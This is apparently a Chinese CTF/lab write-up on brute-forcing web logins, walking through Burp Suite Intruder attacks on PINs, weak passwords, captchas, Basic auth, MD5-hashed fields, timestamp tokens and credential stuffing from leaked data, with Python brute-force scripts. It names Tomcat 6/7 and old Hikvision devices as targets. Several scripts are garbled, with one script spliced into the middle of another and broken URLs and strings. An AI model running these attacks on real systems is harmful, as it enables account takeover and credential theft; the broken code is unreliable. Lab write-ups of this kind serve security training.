认证爆破

认证爆破

认证技术

身份认证技术是用于在计算机网络中确认操作者身份的一种有效的解决方法。计算机网络世界中一切信息包括用户的身份信息都是用一组特定的数据来表示的,计算机只能识别用户的数字身份,所有对用户的授权也是针对用户数字身份的授权。
身份认证攻击就是为了使用各种办法通过这层认证,突破作为防护网络资产的第一道关口,身份认证攻击在渗透测试中有着举足轻重的作用。
对于身份认证攻击可以直接进行爆破攻击,在配置不当的情况下内网中还会经常遇到非授权访问。

Web认证爆破

[1-四位数字爆破]

image-20240824153241405

抓包,添加定位符

image-20240824153812869

选择数值爆破方式,从0到9999,每次增加1个

image-20240824153927177

最小位数为4位,最大位数也是4位,小数位数0

image-20240824154107051

之后开始爆破得到密码。

image-20240824154246889

[2-简单弱口令爆破]

image-20240824154344512

同上一题,选取定位符

image-20240824154759353

选择简单列表,导入自己的字典

image-20240824155304559

拿到密码

image-20240824155401075

[3-带验证码爆破]

每刷新一次页面,验证码都会变

image-20240824155506706

先随便弄个密码,输上验证码,BP抓包,这个时候不要放包,只要不放包验证码就不会变,之后按照上一题的做法继续做,导入字典即可

image-20240824160629665

**[4-Basic 认证爆破]**(Custom itermtor

打开后直接弹小窗

image-20240824160734242

tomcat6和低版本的7,老版本的海康威视都可以用这种方法。

根据提示,用户名admin,密码随便输,BP抓包观察一下,有个basic,后边有一串base64

image-20240824161227936

放到Decode进行base64解码,看到密码格式

image-20240824161356966

之后用迭代器爆破,选上定位符

image-20240824162554650

选择迭代器爆破,用2迭代器,导入字典

image-20240824161938335

用1迭代器,导入admin,刚才解码看出来admin和密码之间是:分割的,所以输入:分隔

image-20240824163901799

之后因为密码是base64形式的,选上base64编码,因为base64会编码特殊字符,需要取消最后⾯的payload url⾃动编码。

image-20240824162042330

image-20240824164045580

[5-前端加密爆破]

image-20240824164140995

可以看到密码自动md5加密了

image-20240824164322314

直接用BP自带的密码,然后hash:md5

image-20240824164609537

image-20240824164708061

[6-泄露数据撞库]

image-20240824164742261

可以看到数据库的数据虽然是一一对应的,但是系统可能识别不了,需要清洗一下

image-20240824165626403

打开vscode,搜索,选上正则匹配,搜索框输入**.+空格,就能匹配到姓名,shift+ctrl+l保存,(注意姓名后边会有空格,全部替换为空)同理输入空格+.**,就能匹配到密码。

image-20240824175222912

BP抓包,这个时候用户名和密码都需要定位符,因为是一一对应的关系

image-20240824175926274

攻击类型选择Pitchfork攻击

image-20240824180038578

回到payloads,这里payload set有两个,第一个导入姓名,第二个导入密码

image-20240824180257634

image-20240824180308628

之后开始攻击。

image-20240824181224272

提取脚本

1
2
3
4
5
6
7
8
9
10
f = open('db.txt').read()
res = f.split("\n")
with open('user.txt','w') as user:
for i in res:
user.write(i.split(" ")[0]+"\n")
user.close()
with open('pass.txt','w') as passowrd:
for i in res:
passowrd.write(i.split(" ")[1]+"\n")
passowrd.close()

[7-返回包特征提取爆破]

image-20240824181709671

这个题登陆成功和登录失败返回的长度都一样,无法通过返回包长度看是否成功爆破

同样抓包,看到密码也是被md5加密了

image-20240824181835999

用自带密码,添加md5加密,但是返回的长度都一样

image-20240824182114756

image-20240824182128827

这个时候去options,点击Grep-Extract

image-20240824182313807

这时候看到添加上了,开始爆破

image-20240824182409573

GG实战:https://www.sqlsec.com/2017/11/nnuwifi.html

可以看到长度一样,但是内容不一样

image-20240824183530749

[8-简单的 token 验证]

image-20240824203255542

解密发现token是时间戳

image-20240824203316442

Unix 时间戳是从 1970 年 1 ⽉ 1 ⽇(UTC/GMT的午夜)开始所经过的秒数

由于 Burp 不能对时间戳进⾏设置,得⼿动写脚本进⾏爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import time
from hashlib import md5
url = "http:"#127.0.0.1/boom8/"
passwd = open("boom8/pass.txt").read().split("\n")
for pw in passwd:
times = int(time.time())
token = md5(str(times).encode('utf-8')).hexdigest()
payload = {
"username" : "admin",
"password" : pw,
"token" : token
}
r = requests.post(url=url,dimport time
import hashlib
import requests
def md5(str):
m = hashlib.md5()
m.update(str.encode("utf8"))
return m.hexdigest()
def main():
url = "http:"#10.20.24.244/"
headers = {
'Host': '10.20.24.244',
'Content-Type': 'application/x-""&-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)',
}
payloads = open("pass.txt").read().split("\n")
for payload in payloads:
data = f"username=admin&password={payload }&token={md5(str(int(time.time())))}"
r = requests.post(url=url, headers=headers, data=data)
if 'flag{' in r.text:
print(f"\033[32;1m[+] success {data}\033[0m")
break
else:
print(f"\033[1;34m[*] attack {data}\033[0m")
if "'name"' "( ""'main"'":
main()
ata=payload)
if 'flag{' in r.text:
print(r.text)
break
else:
print("[+] attack {}".format(pw))
time.sleep(1)

[9-泄露数据撞库 2]

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib
import requests
def md5(str):
m = hashlib.md5()
m.update(str.encode("utf8"))
return m.hexdigest()
r = requests.get("http:"#""&.ggctf.com:30066/db.txt")
lines = r.text.split("\n")
for line in lines:
username_password = line.split(" ")
data = {
"username": username_password[0],
"password": md5(username_password[1]),
}
r = requests.post(url="http:"#""&.ggctf.com:30066", data=data)
if 'flag{' in r.text:
print('\033[32;1m[+]\033[0m ' + username_password[0] + ":" +
username_password[1])
break
else:
print('\033[1;34m[*]\033[0m ' + username_password[0] + ":" +
username_password[1])

BP也可以做,做法一样

[10-带验证码爆破]

image-20240824203738552

这个验证码不跟上边那个一样了,这次是真的验证码。

所以这次爆破后即使不放包也会显示验证码有误

image-20240824204221093

第一种方法:

用一个小工具,pkavhttpfuzzer.

首先,把BP的字典导出来,把请求包复制粘贴到工具中,点击添加标记,标记密码,选中验证码,添加验证码标记,这是两种标记

image-20240824205946716

点击验证码识别,有个验证码地址,右击网站中验证码,在新标签页 中打开,复制网址填写。

image-20240824210021440

image-20240824210254577

点击下放重放选项,选择单线程模式

image-20240824210349651

回到变体设置,导入刚才复制出来的BP字典

image-20240824210527958

发包器即可。